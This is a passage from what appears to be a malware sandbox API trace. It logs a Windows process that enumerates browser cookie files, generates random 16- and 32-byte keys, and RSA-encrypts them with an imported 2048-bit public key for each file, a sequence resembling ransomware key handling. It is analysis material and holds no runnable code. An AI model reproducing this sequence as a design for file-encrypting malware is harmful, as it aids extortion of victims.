Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\0GHTMU6X.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\0ghtmu6x.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.866] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0174.867] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.868] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.868] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0174.868] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.868] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0174.869] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.869] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.869] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0174.869] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.869] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0174.871] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35e69f8) returned 1 [0174.871] CryptGetKeyParam (in: hKey=0x35e69f8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.871] CryptEncrypt (in: hKey=0x35e69f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x40a0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x40a0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0174.871] GetLastError () returned 0x0 [0174.871] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.872] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4540) returned 1 [0174.874] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35e6a78) returned 1 [0174.874] CryptGetKeyParam (in: hKey=0x35e6a78, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.874] CryptEncrypt (in: hKey=0x35e6a78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x40b0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x40b0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0174.874] GetLastError () returned 0x0 [0174.874] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0174.874] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\0MDKR34W.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\0mdkr34w.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.874] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4540) returned 1 [0174.875] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.876] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.876] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0174.876] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0174.876] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0174.877] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.877] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.877] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0174.877] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.877] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0174.879] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35e6ab8) returned 1 [0174.879] CryptGetKeyParam (in: hKey=0x35e6ab8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.879] CryptEncrypt (in: hKey=0x35e6ab8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x40c0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x40c0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0174.879] GetLastError () returned 0x0 [0174.879] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.879] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0174.881] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35e6b78) returned 1 [0174.881] CryptGetKeyParam (in: hKey=0x35e6b78, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.882] CryptEncrypt (in: hKey=0x35e6b78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x40d0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x40d0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0174.882] GetLastError () returned 0x0 [0174.882] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0174.882] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\0Z1JIEVI.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\0z1jievi.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.882] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0174.883] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.883] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.883] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0174.883] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.883] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0174.884] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.884] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.885] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0174.885] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.885] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0174.886] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35e6bb8) returned 1 [0174.887] CryptGetKeyParam (in: hKey=0x35e6bb8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.887] CryptEncrypt (in: hKey=0x35e6bb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x40e0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x40e0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0174.887] GetLastError () returned 0x0 [0174.887] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.887] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0174.889] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35e72b8) returned 1 [0174.889] CryptGetKeyParam (in: hKey=0x35e72b8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.889] CryptEncrypt (in: hKey=0x35e72b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x40f0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x40f0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0174.889] GetLastError () returned 0x0 [0174.889] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0174.889] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\16DOE15M.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\16doe15m.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.889] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0174.890] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.890] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.890] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0174.890] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.890] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0174.891] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.891] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.891] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0174.891] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.892] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0174.893] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35e7078) returned 1 [0174.893] CryptGetKeyParam (in: hKey=0x35e7078, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.893] CryptEncrypt (in: hKey=0x35e7078, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4100000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4100000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0174.894] GetLastError () returned 0x0 [0174.894] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.894] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0174.895] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35e6db8) returned 1 [0174.895] CryptGetKeyParam (in: hKey=0x35e6db8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.895] CryptEncrypt (in: hKey=0x35e6db8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4110000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4110000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0174.896] GetLastError () returned 0x0 [0174.896] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0174.896] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\16Y0X4V7.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\16y0x4v7.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.896] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0174.897] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.897] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.897] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0174.897] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.897] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0174.898] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.898] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.898] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0174.898] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.898] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0174.900] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35e6e38) returned 1 [0174.900] CryptGetKeyParam (in: hKey=0x35e6e38, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.900] CryptEncrypt (in: hKey=0x35e6e38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4120000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4120000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0174.900] GetLastError () returned 0x0 [0174.900] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.901] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0174.902] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35e71f8) returned 1 [0174.902] CryptGetKeyParam (in: hKey=0x35e71f8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.902] CryptEncrypt (in: hKey=0x35e71f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4130000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4130000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0174.902] GetLastError () returned 0x0 [0174.902] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.902] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\1L3KU69N.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\1l3ku69n.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.903] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4540) returned 1 [0174.903] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.904] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.904] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0174.904] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0174.904] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0174.905] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.905] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.905] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0174.905] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.905] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0174.907] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35e7438) returned 1 [0174.907] CryptGetKeyParam (in: hKey=0x35e7438, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.907] CryptEncrypt (in: hKey=0x35e7438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4140000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4140000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0174.908] GetLastError () returned 0x0 [0174.908] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0174.908] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0174.910] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35e6d78) returned 1 [0174.910] CryptGetKeyParam (in: hKey=0x35e6d78, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.910] CryptEncrypt (in: hKey=0x35e6d78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4150000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4150000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0174.910] GetLastError () returned 0x0 [0174.910] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0174.910] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\1LFQZEOH.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\1lfqzeoh.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.910] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0174.911] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.912] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.912] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0174.912] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.912] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0174.913] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.913] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.913] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0174.913] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.913] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0174.915] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35e6e78) returned 1 [0174.915] CryptGetKeyParam (in: hKey=0x35e6e78, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.915] CryptEncrypt (in: hKey=0x35e6e78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4160000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4160000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0174.916] GetLastError () returned 0x0 [0174.916] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.916] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0174.918] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35e6df8) returned 1 [0174.918] CryptGetKeyParam (in: hKey=0x35e6df8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.918] CryptEncrypt (in: hKey=0x35e6df8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4170000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4170000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0174.918] GetLastError () returned 0x0 [0174.918] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.918] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\1LLUY7B7.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\1lluy7b7.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.918] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0174.919] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.920] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.920] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0174.920] CryptReleaseContext (hProv=0x5c4980, 